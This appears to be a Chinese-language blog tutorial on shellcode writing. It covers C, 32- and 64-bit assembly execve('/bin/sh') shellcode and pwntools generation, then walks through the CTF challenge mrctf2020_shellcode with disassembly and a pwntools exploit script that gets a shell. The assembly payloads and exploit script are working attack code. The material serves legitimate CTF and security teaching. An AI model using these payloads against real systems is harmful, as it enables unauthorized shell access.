shellcode编写

shellcode编写

shellcode是一段用于利用软件漏洞而执行的代码,通常使用机器语言编写,其目的往往是让攻击者获得目标机器的命令行shell而得名,其他有类似功能的代码也可以称为shellcode。

简单的shellcode

最简单的shellcode就是直接用C语言system函数来调用/bin/sh,代码如下:

# include <stdlib.h> # include <unistd.h>  int main(void) {     system("/bin/sh");     return 0; } 

编译上述代码生成可执行文件,运行可执行文件便可以获得机器的shell。

上面是用C语言写的,用汇编语言也可以实现。具体思路就是设置好各个寄存器的值,然后触发内中断,执行系统调用。

这里简单介绍一下中断,补充一下背景知识。

对于任何一个通用的CPU,都具备一种能力,可以在执行完当前正在执行的指令之后,检测到从CPU外部发送过来的(外中断)或CPU内部产生的(内中断)一种特殊信息,并且可以立即对所接收到的信息进行处理。这种特殊的信息被称为“中断信息”。中断的意思是指CPU不再接着刚执行完的指令向下执行,而是去处理这个特殊信息。

CPU的内中断有四种情况:(1)除法错误;(2)单步执行;(3)执行into指令;(4)执行int指令。

int指令的格式为:int n,n为中断类型码。CPU执行int n,相当于引发一个n号中断的过程。int 0x80表示引发0x80号中断,而0x80号中断就是系统调用,具体是哪个系统调用,就看寄存器EAX的值,这个值就是系统调用编号。在32位程序中,execve对应的系统调用编号是0xb;在64位程序中,execve对应的系统调用编号是0x3b。关于中断的详细信息可以查阅王爽老师的《汇编语言》,关于系统调用的详细信息可以参考你真的知道什么是系统调用吗?操作系统(linux0.11)的系统调用

32位的shellcode命名为shell32.asm,需要:(1)设置ebx指向/bin/sh(2)ecx=0,edx=0(3)eax=0xb(4)int 0x80触发中断。

global _start _start:     push "/sh"     push "/bin"     mov ebx, esp    ;;ebx="/bin/sh"     xor edx, edx    ;;edx=0     xor ecx, ecx    ;;ecx=0     mov al, 0xb    ;;设置al=0xb,对应系统调用execve     int 0x80 

用命令nasm -f elf32 shell32.asm -o shell32.o编译得到shell32.o,用命令ld -m elf_i386 shell32.o -o shell32链接得到shell32,运行即可使用shell。

64位的shellcode命名为shell64.asm,需要:(1)设置rdi指向/bin/sh(2)rsi=0,rdx=0(3)rax=0x3b(4)syscall 进行系统调用。注意,64位不再用int 0x80触发中断,而是直接用syscall进行系统调用。

global _start _start:         mov rbx, '/bin/sh'     push rbx     push rsp     pop rdi     xor esi, esi     xor edx, edx     push 0x3b     pop rax     syscall 

用命令nasm -f elf64 shell64.asm -o shell64.o编译得到shell64.o,用命令ld -m x86_64 shell64.o -o shell64链接得到shell64,运行即可使用shell。

用pwntools快速生成shellcode

pwn工具准备一文中介绍了pwntools的安装,这是一个python的包,也是解决pwn题强有力的武器。

生成32位shellcode的python代码:

from pwn import* context(log_level = 'debug', arch = 'i386', os = 'linux') shellcode=asm(shellcraft.sh()) 

生成64位shellcode的python代码:

from pwn import* context(log_level = 'debug', arch = 'amd64', os = 'linux') shellcode=asm(shellcraft.sh()) 

context用来设置运行时全局变量,比如体系结构、操作系统等。
shellcraft用来生成指定体系结构和操作系统下的shellcode,如果没有在context设置全局运行时变量,还可以将shellcraft.sh()完整写成shellcraft.i386.linux.sh()
asm用来生成汇编和反汇编代码,体系结构、操作系统等参数可以通过context来设定,也可以在asm中参数的形式设定。上面的代码如果没有asm()也可以得到正常的结果,但是会显式的直接写出n,而不是将其识别为换行。

运行上面的python代码就可以生成指定的shellcode。

shellcode实战

看一道简单的题mrctf2020_shellcode,首先用checksec mrctf2020_shellcode查看一下格式和保护,结果表明这是一个64位的程序,没有开启栈溢出保护和NX保护,有可读可写可执行的栈。

shellcode编写

然后用sudo chmod +x mrctf2020_shellcode添加可执行权限,执行一下看看情况。

接着将程序拖到IDA Pro 64位中,或者用gdb调试,得到的汇编代码如下:

   0x555555555159 <main+4>     sub    rsp, 0x410    0x555555555160 <main+11>    mov    rax, qword ptr [rip + 0x2ec9] <stdin@@GLIBC_2.2.5>    0x555555555167 <main+18>    mov    esi, 0    0x55555555516c <main+23>    mov    rdi, rax    0x55555555516f <main+26>    call   setbuf@plt                <setbuf@plt>      0x555555555174 <main+31>    mov    rax, qword ptr [rip + 0x2ea5] <stdout@@GLIBC_2.2.5>    0x55555555517b <main+38>    mov    esi, 0    0x555555555180 <main+43>    mov    rdi, rax    0x555555555183 <main+46>    call   setbuf@plt                <setbuf@plt>      0x555555555188 <main+51>    mov    rax, qword ptr [rip + 0x2eb1] <stderr@@GLIBC_2.2.5>    0x55555555518f <main+58>    mov    esi, 0    0x555555555194 <main+63>     mov    rdi, rax    0x555555555197 <main+66>     call   setbuf@plt                <setbuf@plt>      0x55555555519c <main+71>     lea    rdi, [rip + 0xe61]    0x5555555551a3 <main+78>     call   puts@plt                <puts@plt>      0x5555555551a8 <main+83>     lea    rax, [rbp - 0x410]    0x5555555551af <main+90>     mov    edx, 0x400    0x5555555551b4 <main+95>     mov    rsi, rax    0x5555555551b7 <main+98>     mov    edi, 0    0x5555555551bc <main+103>    mov    eax, 0    0x5555555551c1 <main+108>    call   read@plt                <read@plt>    0x5555555551c6 <main+113>    mov    dword ptr [rbp - 4], eax    0x5555555551c9 <main+116>    cmp    dword ptr [rbp - 4], 0    0x5555555551cd <main+120>    jg     main+129                <main+129>     0x5555555551d6 <main+129>    lea    rax, [rbp - 0x410]    0x5555555551dd <main+136>    call   rax      0x5555555551df <main+138>    mov    eax, 0 

这段代码比较简单,可以直接分析一下。首先是sub rsp, 0x410是为局部变量开辟空间,接着依次调用了stdinstdoutstderr,然后调用puts在屏幕上打印Show me your magic!。重点是接下来的部分,可以看到调用了read函数,该函数有三个参数,第一个参数表示要读的信息的来源,第二个参数表示存放读入信息的缓冲区,第三个参数表示读的信息的字节数。在C语言函数调用栈中介绍了64位程序中函数调用优先使用寄存器传参,所以edx传入的是第三个参数,rsi传入的是第二个参数,edi传入的第一个参数,表明要读入0x400个字节的数据,存放数据的缓冲区地址是rbp-0x410,从标准输入中读取数据,函数调用的返回值存放在eax寄存器中,read函数的返回值是实际读取的字节数,所以接下来的语句是将实际读取的字节数存入rbp-4的位置,将这个值与0比较,如果大于0(即实际读取的字节数大于0),则跳转到<main+129>的地方执行,将rbp-0x410的值传给rax,然后call rax意味着以rax寄存器存放值为地址,跳转到该处执行接下来的指令。实际上,rbp-0x410就是read函数缓冲区开始的地方,换句话说,这个程序的作用就是将read读取的数据当成指令来执行,如果向程序输入的数据是获取shell的指令,那么我们就可以获取shell了。我们可以用pwntools来构建shellcode,然后发送给程序。

from pwn import * context(os = 'linux',arch = 'amd64')    # checksec告诉我们这是64位程序 p =  process('./mrctf2020_shellcode')    # 启动进程 shellcode = shellcraft.sh()    # 生成shellcode payload = asm(shellcode)    # 构建payload p.send(payload)    # 向进程发送payload # gdb.attach(p)    # 在新终端中用gdb调试进程 p.interactive()    # 与进程交互 

参考资料

星盟安全团队课程:https://www.bilibili.com/video/BV1Uv411j7fr
CTF竞赛权威指南(Pwn篇)(杨超 编著,吴石 eee战队 审校,电子工业出版社)
汇编语言(第3版)(王爽 著,清华大学出版社)
pwntools官方文档:http://docs.pwntools.com/en/latest/

发表评论

相关文章